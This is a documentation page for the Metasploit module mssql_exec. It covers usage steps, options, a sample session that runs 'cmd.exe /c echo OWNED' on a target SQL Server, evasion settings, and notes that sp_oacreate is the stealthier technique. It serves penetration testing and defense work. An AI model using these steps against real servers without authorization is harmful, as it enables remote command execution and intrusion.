Microsoft SQL Server Command Execution - Metasploit
This page contains detailed information about how to use the auxiliary/admin/mssql/mssql_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Microsoft SQL Server Command Execution
Module: auxiliary/admin/mssql/mssql_exec
Source code: modules/auxiliary/admin/mssql/mssql_exec.rb
Disclosure date: -
Last modification time: 2021-04-12 14:48:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: ms-sql2000, ms-sql-s, sybase
Target network port(s): 1433, 1434, 1435, 2533, 2638, 9152, 14330
List of CVEs: -
This module will execute a Windows command on a MSSQL/MSDE instance via the xp_cmdshell (default) or the sp_oacreate procedure (more opsec safe, no output, no temporary data table). A valid username and password is required to use this module.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > show targets
... a list of targets ...
msf auxiliary(mssql_exec) > set TARGET target-id
msf auxiliary(mssql_exec) > show options
... show and set options ...
msf auxiliary(mssql_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module will execute a Windows command on a MSSQL/MSDE instance via the xp_cmdshell (default) or the sp_oacreate procedure (more opsec safe, no output, no temporary data table). A valid username and password is required to use this module. The sp_oacreate function is used in metasploit to rebuild the xp_cmdshell stored procedure but can be used directly to get code execution which is the more opsec safe way.
Options
TECHNIQUE
Technique to use for command execution.
When xp_cmdshell is selected, the corresponding stored procedure is used. The xp_cmdshell stored procedure is
disabled by default, but Metasploit will attempt to enable it which requires elevated privileges. This technique returns
the output when the command was successfully run. If this technique fails, the module will attempt to use the
sp_oacreate technique instead.
When sp_oacreate is selected, a more stealthy technique will be used however no command output will be available. This
technique leverages the sp_OACreate stored procedure to create an instance of an OLE object and invokes
wscript.shell.
Verification Steps
- Do:
use use admin/mssql/mssql_exec - Do:
set USERNAME [username1] - Do:
set PASSWORD [password1] - Do:
set TECHNIQUE sp_oacreate(optional, defaults to xp_cmdshell) - Do:
set RHOSTS [IP] - Do:
set CMD [command] - Do:
run
Scenarios
msf > use use use admin/mssql/mssql_exec
msf auxiliary(mssql_exec) > set USERNAME username1
USERNAME => username1
msf auxiliary(mssql_exec) > set PASSWORD password1
PASSWORD => password1
msf auxiliary(mssql_exec) > set TECHNIQUE sp_oacreate
TECHNIQUE => sp_oacreate
msf auxiliary(mssql_exec) > set RHOST 192.168.1.195
RHOST => 192.168.1.195
msf auxiliary(mssql_exec) > set CMD cmd.exe /c echo OWNED > C:\owned.txt
CMD => cmd.exe /c echo OWNED > C:\owned.txt
msf auxiliary(mssql_exec) > run
[*] 192.168.1.195:1433 - Enabling advanced options and ole automation procedures.
[*] 192.168.1.195:1433 - Executing command using sp_oacreate. No output will be displayed.
[*] Auxiliary module execution completed
msf auxiliary(mssql_exec_oacreate) >
Go back to menu.
Msfconsole Usage
Here is how the admin/mssql/mssql_exec auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/mssql/mssql_exec
msf6 auxiliary(admin/mssql/mssql_exec) > show info
Name: Microsoft SQL Server Command Execution
Module: auxiliary/admin/mssql/mssql_exec
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
tebo <[email protected]>
arcc <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD cmd.exe /c echo OWNED > C:\owned.exe no Command to execute
PASSWORD no The password for the specified username
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1433 yes The target port (TCP)
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
TECHNIQUE xp_cmdshell yes Technique to use for command execution (Accepted: xp_cmdshell, sp_oacreate)
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)
Description:
This module will execute a Windows command on a MSSQL/MSDE instance
via the xp_cmdshell (default) or the sp_oacreate procedure (more
opsec safe, no output, no temporary data table). A valid username
and password is required to use this module.
References:
http://msdn.microsoft.com/en-us/library/cc448435(PROT.10).aspx
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql
Module Options
This is a complete list of options available in the admin/mssql/mssql_exec auxiliary module:
msf6 auxiliary(admin/mssql/mssql_exec) > show options
Module options (auxiliary/admin/mssql/mssql_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD cmd.exe /c echo OWNED > C:\owned.exe no Command to execute
PASSWORD no The password for the specified username
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1433 yes The target port (TCP)
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
TECHNIQUE xp_cmdshell yes Technique to use for command execution (Accepted: xp_cmdshell, sp_oacreate)
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)
Advanced Options
Here is a complete list of advanced options supported by the admin/mssql/mssql_exec auxiliary module:
msf6 auxiliary(admin/mssql/mssql_exec) > show advanced
Module advanced options (auxiliary/admin/mssql/mssql_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
DOMAIN WORKSTATION yes The domain to use for windows authentication
HEX2BINARY /opt/metasploit-framework/embedded/framework/data/exploits/mssql/h2b no The path to the hex2binary script on the disk
NTLM::SendLM true yes Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM true yes Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN true yes Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
NTLM::UseLMKey false yes Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session true yes Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 true yes Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/mssql/mssql_exec module can do:
msf6 auxiliary(admin/mssql/mssql_exec) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/mssql/mssql_exec auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/mssql/mssql_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Error while running "xp_cmdshell" method...retrying with "sp_oacreate" method
Here is a relevant code snippet related to the "Error while running "xp_cmdshell" method...retrying with "sp_oacreate" method" error message:
43: case technique
44: when 'xp_cmdshell'
45: begin
46: mssql_xpcmdshell(datastore['CMD'], true)
47: rescue RuntimeError
48: print_status('Error while running "xp_cmdshell" method...retrying with "sp_oacreate" method')
49: mssql_spoacreate
50: end
51: when 'sp_oacreate'
52: mssql_spoacreate
53: end
Go back to menu.
Related Pull Requests
- #14622 Merged Pull Request: add mssql_exec_oacreate module
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
References
- CVE: Not available
- http://msdn.microsoft.com/en-us/library/cc448435(PROT.10).aspx
- https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql
See Also
Check also the following modules related to this module:
- auxiliary/admin/mssql/mssql_enum
- auxiliary/admin/mssql/mssql_enum_domain_accounts
- auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
- auxiliary/admin/mssql/mssql_enum_sql_logins
- auxiliary/admin/mssql/mssql_escalate_dbowner
- auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
- auxiliary/admin/mssql/mssql_escalate_execute_as
- auxiliary/admin/mssql/mssql_escalate_execute_as_sqli
- auxiliary/admin/mssql/mssql_findandsampledata
- auxiliary/admin/mssql/mssql_idf
- auxiliary/admin/mssql/mssql_ntlm_stealer
- auxiliary/admin/mssql/mssql_ntlm_stealer_sqli
- auxiliary/admin/mssql/mssql_sql
- auxiliary/admin/mssql/mssql_sql_file
- auxiliary/scanner/mssql/mssql_hashdump
- auxiliary/scanner/mssql/mssql_login
- auxiliary/scanner/mssql/mssql_ping
- auxiliary/scanner/mssql/mssql_schemadump
- exploit/windows/mssql/mssql_clr_payload
- exploit/windows/mssql/mssql_linkcrawler
- exploit/windows/mssql/mssql_payload
- exploit/windows/mssql/mssql_payload_sqli
- post/windows/gather/credentials/mssql_local_hashdump
- post/windows/manage/mssql_local_auth_bypass
- exploit/windows/mssql/lyris_listmanager_weak_pass
- exploit/windows/mssql/ms02_039_slammer
- exploit/windows/mssql/ms02_056_hello
- exploit/windows/mssql/ms09_004_sp_replwritetovarbin
- exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli
- auxiliary/server/capture/mssql
Authors
- tebo <tebo[at]attackresearch.com>
- arcc <pw[at]evait.de>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
